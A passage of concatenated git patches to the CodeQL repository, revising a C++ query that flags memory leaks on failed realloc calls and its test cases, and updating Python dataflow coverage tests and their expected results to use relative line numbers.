return buffer; +} + +void abort(void); + +unsigned char *noBadResize_4_1(unsigned char *buffer, size_t currentSize, size_t newSize) +{ + // GOOD: program to end [FALSE POSITIVE] + if (currentSize < newSize) + { + if (buffer = (unsigned char *)realloc(buffer, newSize)) + abort(); + } + + return buffer; +} From fe4ae7e975a4b4f42e6e7456c38276969e673a4c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 12 Jan 2021 17:22:07 +0000 Subject: [PATCH 0714/1241] C++: General solution for functions that may exit. --- .../MemoryLeakOnFailedCallToRealloc.ql | 52 +++++++------------ .../MemoryLeakOnFailedCallToRealloc.expected | 1 - .../Security/CWE/CWE-401/semmle/tests/test.c | 2 +- 3 files changed, 21 insertions(+), 34 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index da54d9a49bf..d6ae493cbf5 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -13,6 +13,19 @@ import cpp +/** + * A function call that potentially does not return (such as `exit`). + */ +class CallMayNotReturn extends FunctionCall { + CallMayNotReturn() { + // call that is known to not return + not exists(this.(ControlFlowNode).getASuccessor()) + or + // call to another function that may not return + exists(CallMayNotReturn exit | getTarget() = exit.getEnclosingFunction()) + } +} + /** * A call to `realloc` of the form `v = realloc(v, size)`, for some variable `v`. */ @@ -30,40 +43,15 @@ class ReallocCallLeak extends FunctionCall { ) } - predicate isExistsIfWithExitCall() { - exists(IfStmt ifc | - this.getArgument(0) = v.getAnAccess() and - ifc.getCondition().getAChild*() = v.getAnAccess() and - ifc.getEnclosingFunction() = this.getEnclosingFunction() and - ifc.getLocation().getStartLine() >= this.getArgument(0).getLocation().getStartLine() and - exists(FunctionCall fc | - fc.getTarget().hasName("exit") and - fc.getEnclosingFunction() = this.getEnclosingFunction() and - (ifc.getThen().getAChild*() = fc or ifc.getElse().getAChild*() = fc) - ) - or - exists(FunctionCall fc, FunctionCall ftmp1, FunctionCall ftmp2 | - ftmp1.getTarget().hasName("exit") and - ftmp2.(ControlFlowNode).getASuccessor*() = ftmp1 and - fc = ftmp2.getEnclosingFunction().getACallToThisFunction() and - fc.getEnclosingFunction() = this.getEnclosingFunction() and - (ifc.getThen().getAChild*() = fc or ifc.getElse().getAChild*() = fc) - ) - ) - } - - predicate isExistsAssertWithArgumentCall() { - exists(FunctionCall fc | - fc.getTarget().hasName("__assert_fail") and - this.getEnclosingFunction() = fc.getEnclosingFunction() and - fc.getLocation().getStartLine() > this.getArgument(0).getLocation().getEndLine() and - fc.getArgument(0).toString().matches("%" + this.getArgument(0).toString() + "%") - ) + /** + * Holds if failure of this allocation may be handled by termination, for + * example a call to `exit()`. + */ + predicate mayHandleByTermination() { + this.(ControlFlowNode).getASuccessor*() instanceof CallMayNotReturn } } from ReallocCallLeak rcl -where - not rcl.isExistsIfWithExitCall() and - not rcl.isExistsAssertWithArgumentCall() +where not rcl.mayHandleByTermination() select rcl, "possible loss of original pointer on unsuccessful call realloc" diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected index e07c83019de..adedc030f5f 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.expected @@ -4,4 +4,3 @@ | test.c:186:29:186:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | | test.c:282:29:282:35 | call to realloc | possible loss of original pointer on unsuccessful call realloc | | test.c:299:26:299:32 | call to realloc | possible loss of original pointer on unsuccessful call realloc | -| test.c:316:33:316:39 | call to realloc | possible loss of original pointer on unsuccessful call realloc | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c index a2c42f364d5..037f58bc15e 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -310,7 +310,7 @@ void abort(void); unsigned char *noBadResize_4_1(unsigned char *buffer, size_t currentSize, size_t newSize) { - // GOOD: program to end [FALSE POSITIVE] + // GOOD: program to end if (currentSize < newSize) { if (buffer = (unsigned char *)realloc(buffer, newSize)) From d2dd19a293c65677a7c4fca50e3f7708fcdacc55 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 12 Jan 2021 17:41:39 +0000 Subject: [PATCH 0715/1241] C++: It turns out __assert_fail is special (see DefaultOptions.qll) so we don't need a body here. And the body was wrong. --- .../query-tests/Security/CWE/CWE-401/semmle/tests/test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c index 037f58bc15e..d125d85607d 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -2,7 +2,7 @@ #define NULL ((void*)0) #define assert(x) if (!(x)) __assert_fail(#x,__FILE__,__LINE__) -void __assert_fail(const char *assertion, const char *file, int line) { } +void __assert_fail(const char *assertion, const char *file, int line); void aFakeFailed_1(int file, int line) { From 69913c053e359caa4824f6ba58ed91817f955536 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 19 Jan 2021 18:10:22 +0100 Subject: [PATCH 0716/1241] Python: relative line numbers in MISSING-annotations --- .../experimental/dataflow/coverage/classes.py | 6 ++--- .../experimental/dataflow/coverage/test.py | 26 +++++++++---------- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/classes.py b/python/ql/test/experimental/dataflow/coverage/classes.py index 654297d3145..d9586f4997f 100644 --- a/python/ql/test/experimental/dataflow/coverage/classes.py +++ b/python/ql/test/experimental/dataflow/coverage/classes.py @@ -421,7 +421,7 @@ def test_set_name(): # classmethod object.__init_subclass__(cls) class With_init_subclass: def __init_subclass__(cls): - SINK1(cls) #$ MISSING: arg1="Tuple[0], l:429 -> cls" + SINK1(cls) #$ MISSING: arg1="Tuple[0], l:+5 -> cls" OK() # Call not found @@ -441,7 +441,7 @@ class With_prepare(type): def __prepare__(name, bases, **kwds): SINK3(kwds) # Flow not tested SINK2(bases) # Flow not tested - SINK1(name) #$ MISSING: arg1="arg1, l:450 -> name" + SINK1(name) #$ MISSING: arg1="arg1, l:+6 -> name" OK() # Call not found return kwds @@ -871,7 +871,7 @@ def test_or(): # object.__radd__(self, other) class With_radd: def __radd__(self, other): - SINK2(other) #$ MISSING: arg2="arg2, l:882 -> other" + SINK2(other) #$ MISSING: arg2="arg2, l:+8 -> other" SINK1(self) OK() # Call not found return self diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index eb33273cd4e..a37b63215a2 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -203,7 +203,7 @@ def test_nested_comprehension_paren(): # 6.2.8. Generator expressions def test_generator(): x = (SOURCE for y in [NONSOURCE]) - SINK([*x][0]) #$ MISSING:flow="SOURCE, l:205 -> List[0]" + SINK([*x][0]) #$ MISSING:flow="SOURCE, l:-1 -> List[0]" # 6.2.9. Yield expressions @@ -213,7 +213,7 @@ def gen(x): def test_yield(): g = gen(SOURCE) - SINK(next(g)) #$ MISSING:flow="SOURCE, l:215 -> next()" + SINK(next(g)) #$ MISSING:flow="SOURCE, l:-1 -> next()" def gen_from(x): @@ -222,7 +222,7 @@ def gen_from(x): def test_yield_from(): g = gen_from(SOURCE) - SINK(next(g)) #$ MISSING:flow="SOURCE, l:224 -> next()" + SINK(next(g)) #$ MISSING:flow="SOURCE, l:-1 -> next()" # a statement rather than an expression, but related to generators @@ -234,7 +234,7 @@ def test_for(): # 6.2.9.1. Generator-iterator methods def test___next__(): g = gen(SOURCE) - SINK(g.__next__()) #$ MISSING:flow="SOURCE, l:236 -> g.__next__()" + SINK(g.__next__()) #$ MISSING:flow="SOURCE, l:-1 -> g.__next__()" def gen2(x): @@ -259,7 +259,7 @@ def gen_ex(x): def test_throw(): g = gen_ex(SOURCE) n = next(g) - SINK(g.throw(TypeError)) #$ MISSING:flow="SOURCE, l:260 -> g.throw()" + SINK(g.throw(TypeError)) #$ MISSING:flow="SOURCE, l:-2 -> g.throw()" # no `test_close` as `close` involves no data flow @@ -280,7 +280,7 @@ def runa(a): async def atest___anext__(): g = agen(SOURCE) - SINK(await g.__anext__()) #$ MISSING:flow="SOURCE, l:282 -> g.__anext__()" + SINK(await g.__anext__()) #$ MISSING:flow="SOURCE, l:-1 -> g.__anext__()" def test___anext__(): @@ -313,7 +313,7 @@ async def agen_ex(x): async def atest_athrow(): g = agen_ex(SOURCE) n = await g.__anext__() - SINK(await g.athrow(TypeError)) #$ MISSING:flow="SOURCE, l:314 -> g.athrow()" + SINK(await g.athrow(TypeError)) #$ MISSING:flow="SOURCE, l:-2 -> g.athrow()" def test_athrow(): @@ -326,7 +326,7 @@ class C: def test_attribute_reference(): - SINK(C.a) #$ MISSING:flow="SOURCE, l:325 -> C.a" + SINK(C.a) #$ MISSING:flow="SOURCE, l:-4 -> C.a" # overriding __getattr__ should be tested by the class coverage tests @@ -376,7 +376,7 @@ def test_call_keyword(): def test_call_unpack_iterable(): - SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="SOURCE -> second(..)" MISING:flow="'source', l:20 -> second(..)" + SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="SOURCE -> second(..)" def test_call_unpack_mapping(): @@ -547,7 +547,7 @@ def test_dynamic_tuple_creation_1(): tup += (SOURCE,) tup += (NONSOURCE,) - SINK(tup[0]) #$ MISSING:flow="SOURCE, l:547 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:-3 -> tup[0]" SINK_F(tup[1]) @@ -557,7 +557,7 @@ def test_dynamic_tuple_creation_2(): tup += (SOURCE,) tup += (NONSOURCE,) - SINK(tup[0]) #$ MISSING:flow="SOURCE, l:557 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:-3 -> tup[0]" SINK_F(tup[1]) @@ -567,7 +567,7 @@ def test_dynamic_tuple_creation_3(): tup2 = (NONSOURCE,) tup = tup1 + tup2 - SINK(tup[0]) #$ MISSING:flow="SOURCE, l:566 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:-4 -> tup[0]" SINK_F(tup[1]) @@ -578,5 +578,5 @@ def test_dynamic_tuple_creation_4(): for item in [SOURCE, NONSOURCE]: tup += (item,) - SINK(tup[0]) #$ MISSING:flow="SOURCE, l:578 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:-3 -> tup[0]" SINK_F(tup[1]) From ae38bbe03b35eb74eb699d46de5c19e62b57aedf Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 19 Jan 2021 18:19:11 +0100 Subject: [PATCH 0717/1241] Python: Fearlessly adding another test in the middle of the file. --- .../ql/test/experimental/dataflow/coverage/argumentPassing.py | 2 +- python/ql/test/experimental/dataflow/coverage/test.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py index 67650c149d3..db19860a901 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py +++ b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py @@ -112,7 +112,7 @@ def with_multiple_kw_args(a, b, c): SINK3(c) -@expects(9) +@expects(12) def test_multiple_kw_args(): with_multiple_kw_args(b=arg2, c=arg3, a=arg1) #$ arg1="arg1" arg2="arg2" arg3="arg3" func=with_multiple_kw_args with_multiple_kw_args(arg1, *(arg2,), arg3) #$ arg1="arg1" func=with_multiple_kw_args MISSING: arg2="arg2" arg3="arg3" diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index a37b63215a2..691d1f16097 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -325,9 +325,11 @@ class C: a = SOURCE +@expects(2) def test_attribute_reference(): SINK(C.a) #$ MISSING:flow="SOURCE, l:-4 -> C.a" - + c = C() + SINK(c.a) #$ MISSING:flow="SOURCE, l:-6 -> c.a" # overriding __getattr__ should be tested by the class coverage tests From 8e126603b3594ee036c1339be0814c623173d0bc Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 19 Jan 2021 18:21:27 +0100 Subject: [PATCH 0718/1241] Python: Remember that old style tests still needs updated expectations. --- .../dataflow/coverage/dataflow.expected | 186 +++++++++--------- 1 file changed, 93 insertions(+), 93 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 3bb58f50618..83d1799cceb 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -95,35 +95,35 @@ edges | test.py:199:33:199:40 | ControlFlowNode for List [List element] | test.py:199:28:199:28 | SSA variable z | | test.py:199:34:199:39 | ControlFlowNode for SOURCE | test.py:199:33:199:40 | ControlFlowNode for List [List element] | | test.py:200:10:200:10 | ControlFlowNode for x [List element] | test.py:200:10:200:13 | ControlFlowNode for Subscript | -| test.py:336:11:336:16 | ControlFlowNode for SOURCE | test.py:336:11:336:17 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:336:11:336:17 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:336:10:336:21 | ControlFlowNode for Subscript | -| test.py:340:10:340:17 | ControlFlowNode for List [List element] | test.py:340:10:340:20 | ControlFlowNode for Subscript | -| test.py:340:11:340:16 | ControlFlowNode for SOURCE | test.py:340:10:340:17 | ControlFlowNode for List [List element] | -| test.py:344:10:344:22 | ControlFlowNode for Dict [Dictionary element at key s] | test.py:344:10:344:27 | ControlFlowNode for Subscript | -| test.py:344:16:344:21 | ControlFlowNode for SOURCE | test.py:344:10:344:22 | ControlFlowNode for Dict [Dictionary element at key s] | -| test.py:367:28:367:33 | ControlFlowNode for SOURCE | test.py:367:10:367:34 | ControlFlowNode for second() | -| test.py:375:30:375:35 | ControlFlowNode for SOURCE | test.py:375:10:375:36 | ControlFlowNode for second() | -| test.py:383:10:383:43 | KwUnpacked b | test.py:383:10:383:43 | ControlFlowNode for second() | -| test.py:383:30:383:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:383:10:383:43 | KwUnpacked b | -| test.py:383:36:383:41 | ControlFlowNode for SOURCE | test.py:383:30:383:42 | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:391:10:391:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | -| test.py:391:33:391:38 | ControlFlowNode for SOURCE | test.py:391:10:391:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:399:10:399:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | -| test.py:399:39:399:44 | ControlFlowNode for SOURCE | test.py:399:10:399:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:420:10:420:15 | ControlFlowNode for SOURCE | test.py:420:10:420:38 | ControlFlowNode for IfExp | -| test.py:428:34:428:39 | ControlFlowNode for SOURCE | test.py:428:10:428:39 | ControlFlowNode for IfExp | -| test.py:452:12:452:17 | ControlFlowNode for SOURCE | test.py:452:10:452:18 | ControlFlowNode for f() | -| test.py:459:28:459:33 | ControlFlowNode for SOURCE | test.py:459:10:459:34 | ControlFlowNode for second() | -| test.py:473:30:473:35 | ControlFlowNode for SOURCE | test.py:473:10:473:36 | ControlFlowNode for second() | -| test.py:487:10:487:43 | KwUnpacked b | test.py:487:10:487:43 | ControlFlowNode for second() | -| test.py:487:30:487:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:487:10:487:43 | KwUnpacked b | -| test.py:487:36:487:41 | ControlFlowNode for SOURCE | test.py:487:30:487:42 | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:492:10:492:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | -| test.py:492:33:492:38 | ControlFlowNode for SOURCE | test.py:492:10:492:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | -| test.py:497:39:497:44 | ControlFlowNode for SOURCE | test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | -| test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | +| test.py:338:11:338:16 | ControlFlowNode for SOURCE | test.py:338:11:338:17 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:338:11:338:17 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:338:10:338:21 | ControlFlowNode for Subscript | +| test.py:342:10:342:17 | ControlFlowNode for List [List element] | test.py:342:10:342:20 | ControlFlowNode for Subscript | +| test.py:342:11:342:16 | ControlFlowNode for SOURCE | test.py:342:10:342:17 | ControlFlowNode for List [List element] | +| test.py:346:10:346:22 | ControlFlowNode for Dict [Dictionary element at key s] | test.py:346:10:346:27 | ControlFlowNode for Subscript | +| test.py:346:16:346:21 | ControlFlowNode for SOURCE | test.py:346:10:346:22 | ControlFlowNode for Dict [Dictionary element at key s] | +| test.py:369:28:369:33 | ControlFlowNode for SOURCE | test.py:369:10:369:34 | ControlFlowNode for second() | +| test.py:377:30:377:35 | ControlFlowNode for SOURCE | test.py:377:10:377:36 | ControlFlowNode for second() | +| test.py:385:10:385:43 | KwUnpacked b | test.py:385:10:385:43 | ControlFlowNode for second() | +| test.py:385:30:385:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:385:10:385:43 | KwUnpacked b | +| test.py:385:36:385:41 | ControlFlowNode for SOURCE | test.py:385:30:385:42 | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:393:10:393:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:393:10:393:39 | ControlFlowNode for f_extra_pos() | +| test.py:393:33:393:38 | ControlFlowNode for SOURCE | test.py:393:10:393:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:401:10:401:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:401:10:401:45 | ControlFlowNode for f_extra_keyword() | +| test.py:401:39:401:44 | ControlFlowNode for SOURCE | test.py:401:10:401:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:422:10:422:15 | ControlFlowNode for SOURCE | test.py:422:10:422:38 | ControlFlowNode for IfExp | +| test.py:430:34:430:39 | ControlFlowNode for SOURCE | test.py:430:10:430:39 | ControlFlowNode for IfExp | +| test.py:454:12:454:17 | ControlFlowNode for SOURCE | test.py:454:10:454:18 | ControlFlowNode for f() | +| test.py:461:28:461:33 | ControlFlowNode for SOURCE | test.py:461:10:461:34 | ControlFlowNode for second() | +| test.py:475:30:475:35 | ControlFlowNode for SOURCE | test.py:475:10:475:36 | ControlFlowNode for second() | +| test.py:489:10:489:43 | KwUnpacked b | test.py:489:10:489:43 | ControlFlowNode for second() | +| test.py:489:30:489:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:489:10:489:43 | KwUnpacked b | +| test.py:489:36:489:41 | ControlFlowNode for SOURCE | test.py:489:30:489:42 | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:494:10:494:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:494:10:494:39 | ControlFlowNode for f_extra_pos() | +| test.py:494:33:494:38 | ControlFlowNode for SOURCE | test.py:494:10:494:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:499:10:499:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:499:10:499:45 | ControlFlowNode for f_extra_keyword() | +| test.py:499:39:499:44 | ControlFlowNode for SOURCE | test.py:499:10:499:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:511:9:511:14 | ControlFlowNode for SOURCE | test.py:513:10:513:10 | ControlFlowNode for a | +| test.py:511:9:511:14 | ControlFlowNode for SOURCE | test.py:518:10:518:10 | ControlFlowNode for b | nodes | datamodel.py:38:6:38:17 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | @@ -247,52 +247,52 @@ nodes | test.py:199:34:199:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:200:10:200:10 | ControlFlowNode for x [List element] | semmle.label | ControlFlowNode for x [List element] | | test.py:200:10:200:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:336:10:336:21 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:336:11:336:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:336:11:336:17 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:340:10:340:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:340:10:340:20 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:340:11:340:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:344:10:344:22 | ControlFlowNode for Dict [Dictionary element at key s] | semmle.label | ControlFlowNode for Dict [Dictionary element at key s] | -| test.py:344:10:344:27 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:344:16:344:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:367:10:367:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:367:28:367:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:375:10:375:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:375:30:375:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:383:10:383:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:383:10:383:43 | KwUnpacked b | semmle.label | KwUnpacked b | -| test.py:383:30:383:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:383:36:383:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | -| test.py:391:10:391:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:391:33:391:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | -| test.py:399:10:399:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:399:39:399:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:420:10:420:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:420:10:420:38 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | -| test.py:428:10:428:39 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | -| test.py:428:34:428:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:452:10:452:18 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | -| test.py:452:12:452:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:459:10:459:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:459:28:459:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:473:10:473:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:473:30:473:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:487:10:487:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:487:10:487:43 | KwUnpacked b | semmle.label | KwUnpacked b | -| test.py:487:30:487:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:487:36:487:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | -| test.py:492:10:492:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:492:33:492:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | -| test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:497:39:497:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:509:9:509:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:511:10:511:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:516:10:516:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | +| test.py:338:10:338:21 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:338:11:338:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:338:11:338:17 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:342:10:342:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:342:10:342:20 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:342:11:342:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:346:10:346:22 | ControlFlowNode for Dict [Dictionary element at key s] | semmle.label | ControlFlowNode for Dict [Dictionary element at key s] | +| test.py:346:10:346:27 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:346:16:346:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:369:10:369:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:369:28:369:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:377:10:377:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:377:30:377:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:385:10:385:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:385:10:385:43 | KwUnpacked b | semmle.label | KwUnpacked b | +| test.py:385:30:385:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:385:36:385:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:393:10:393:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | +| test.py:393:10:393:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:393:33:393:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:401:10:401:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | +| test.py:401:10:401:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:401:39:401:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| 